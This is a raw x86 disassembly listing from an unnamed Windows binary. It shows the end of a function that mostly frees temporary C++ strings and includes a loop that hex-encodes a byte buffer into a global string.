mov byte [ebp - 0x7ec], 0
mov byte [ebp - 4], 0x50
mov edx, dword [ebp - 0x6a0]
cmp edx, 0x10
jb 0x416424
mov ecx, dword [ebp - 0x6b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41641a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x6a4], 0
mov dword [ebp - 0x6a0], 0xf
mov byte [ebp - 0x6b4], 0
mov byte [ebp - 4], 0x51
mov edx, dword [ebp - 0x6b8]
cmp edx, 0x10
jb 0x41647d
mov ecx, dword [ebp - 0x6cc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416473
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0xf
mov byte [ebp - 0x6cc], 0
mov byte [ebp - 4], 0x52
mov edx, dword [ebp - 0x6d0]
cmp edx, 0x10
jb 0x4164d6
mov ecx, dword [ebp - 0x6e4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4164cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov dword [ebp - 0x6d4], 0
mov dword [ebp - 0x6d0], 0xf
mov byte [ebp - 0x6e4], 0
mov byte [ebp - 4], 0x53
mov edx, dword [ebp - 0x6e8]
cmp edx, 0x10
jb 0x41652f
mov ecx, dword [ebp - 0x6fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416525
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416ca5
push edx
push ecx
call fcn.0041d6b3
add esp, 8
cmp dword [0x463264], 0
mov dword [ebp - 0x6ec], 0
mov dword [ebp - 0x6e8], 0xf
mov byte [ebp - 0x6fc], 0
jne 0x4166ab
lea eax, [ebp - 0x374]
push eax
sub esp, 0x18
mov ecx, esp
push 0x462aa4
call fcn.00417a50
lea ecx, [ebp - 0x474]
call fcn.00405960
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x338]
call fcn.00418370
mov esi, eax
add esp, 4
cmp esi, 0x4634c4
je 0x416619
mov ecx, dword [0x4634d8]
cmp ecx, 0x10
jb 0x4165d6
mov eax, dword [0x4634c4]
inc ecx
cmp ecx, 0x1000
jb 0x4165cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caa
mov eax, edx
push ecx
push eax
call fcn.0041d6b3
add esp, 8
mov dword [0x4634d4], 0
mov dword [0x4634d8], 0xf
mov byte [0x4634c4], 0
movups xmm0, xmmword [esi]
movups xmmword [0x4634c4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4634d4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [ebp - 0x324]
cmp edx, 0x10
jb 0x416653
mov ecx, dword [ebp - 0x338]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416649
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caa
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
cmp edx, 0x10
jb 0x416a21
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416a17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caa
jmp 0x416a17
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x454], esp
push 0x463254
call fcn.00417a50
sub esp, 0x18
mov byte [ebp - 4], 0x55
lea eax, [ebp - 0x374]
mov ecx, esp
push eax
call fcn.00417a50
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x53
call fcn.004049a0
add esp, 0x30
mov esi, eax
mov byte [ebp - 4], 0x57
lea eax, [esi + 0x10]
mov dword [ebp - 0x340], eax
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov eax, dword [eax]
add eax, eax
mov dword [ebp - 0x45c], 0x1f
push eax
call fcn.004177b0
cmp dword [esi + 0x14], 0x10
mov edi, esi
jb 0x416737
mov edi, dword [esi]
mov esi, edi
mov eax, dword [ebp - 0x340]
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x454], eax
cmp edi, eax
je 0x416826
nop
movzx esi, byte [edi]
mov ecx, dword [ebp - 0x328]
mov eax, esi
shr eax, 4
mov dl, byte [eax + str.0123456789ABCDEF]
mov byte [ebp - 0x340], dl
cmp ecx, dword [ebp - 0x324]
jae 0x416799
cmp dword [ebp - 0x324], 0x10
lea eax, [ecx + 1]
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x4167b8
push dword [ebp - 0x340]
mov byte [ebp - 0x344], 0
push dword [ebp - 0x344]
push ecx
lea ecx, [ebp - 0x338]
call fcn.00418cf0
mov ecx, dword [ebp - 0x328]
and esi, 0xf
mov dl, byte [esi + str.0123456789ABCDEF]
mov esi, dword [ebp - 0x324]
mov byte [ebp - 0x33c], dl
cmp ecx, esi
jae 0x4167fa
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x338]
cmovae eax, dword [ebp - 0x338]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x416819
push dword [ebp - 0x33c]
mov byte [ebp - 0x458], 0
push dword [ebp - 0x458]
push ecx
lea ecx, [ebp - 0x338]
call fcn.00418cf0
inc edi
cmp edi, dword [ebp - 0x454]
jne 0x416750
lea eax, [ebp - 0x338]
push eax
sub esp, 0x18
mov ecx, esp
push 0x462aa4
call fcn.00417a50
lea ecx, [ebp - 0x474]
call fcn.00405960
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x714]
call fcn.00418270
mov esi, eax
add esp, 4
cmp esi, 0x4634c4
je 0x4168e8
mov ecx, dword [0x4634d8]
cmp ecx, 0x10
jb 0x4168a5
mov eax, dword [0x4634c4]
inc ecx
cmp ecx, 0x1000
jb 0x41689b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caf
mov eax, edx
push ecx
push eax
call fcn.0041d6b3
add esp, 8
mov dword [0x4634d4], 0
mov dword [0x4634d8], 0xf
mov byte [0x4634c4], 0
movups xmm0, xmmword [esi]
movups xmmword [0x4634c4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4634d4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [ebp - 0x700]
cmp edx, 0x10
jb 0x416922
mov ecx, dword [ebp - 0x714]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416918
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caf
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x704], 0
mov dword [ebp - 0x700], 0xf
mov byte [ebp - 0x714], 0
cmp edx, 0x10
jb 0x416977
mov ecx, dword [ebp - 0x474]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41696d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caf
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0xf
mov byte [ebp - 0x474], 0
cmp edx, 0x10
jb 0x4169cc
mov ecx, dword [ebp - 0x338]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4169c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caf
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x424]
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
cmp edx, 0x10
jb 0x416a21
mov ecx, dword [ebp - 0x438]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416a17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416caf
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x360]
cmp edx, 0x10
jb 0x416a5b
mov ecx, dword [ebp - 0x374]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416a51
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x3d8]
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 0xf
mov byte [ebp - 0x374], 0
cmp edx, 0x10
jb 0x416ab0
mov ecx, dword [ebp - 0x3ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416aa6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x3f0]
cmp edx, 0x10
jb 0x416aea
mov ecx, dword [ebp - 0x404]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416ae0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x348]
cmp edx, 0x10
jb 0x416b24
mov ecx, dword [ebp - 0x35c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416b1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x390]
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x348], 0xf
mov byte [ebp - 0x35c], 0
cmp edx, 0x10
jb 0x416b79
mov ecx, dword [ebp - 0x3a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416b6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x3a8]
cmp edx, 0x10
jb 0x416bb3
mov ecx, dword [ebp - 0x3bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416ba9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x408]
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 0xf
mov byte [ebp - 0x3bc], 0
cmp edx, 0x10
jb 0x416c08
mov ecx, dword [ebp - 0x41c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416bfe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x3c0]
cmp edx, 0x10
jb 0x416c42
mov ecx, dword [ebp - 0x3d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416c38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov edx, dword [ebp - 0x378]
cmp edx, 0x10
jb 0x416c78
mov ecx, dword [ebp - 0x38c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416c6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416cb4
push edx
push ecx
call fcn.0041d6b3
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041d041
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00436cca
call fcn.00436cca
call fcn.00436cca
call fcn.00436cca
call fcn.00436cca
call fcn.00436cca
call fcn.00436cca
int3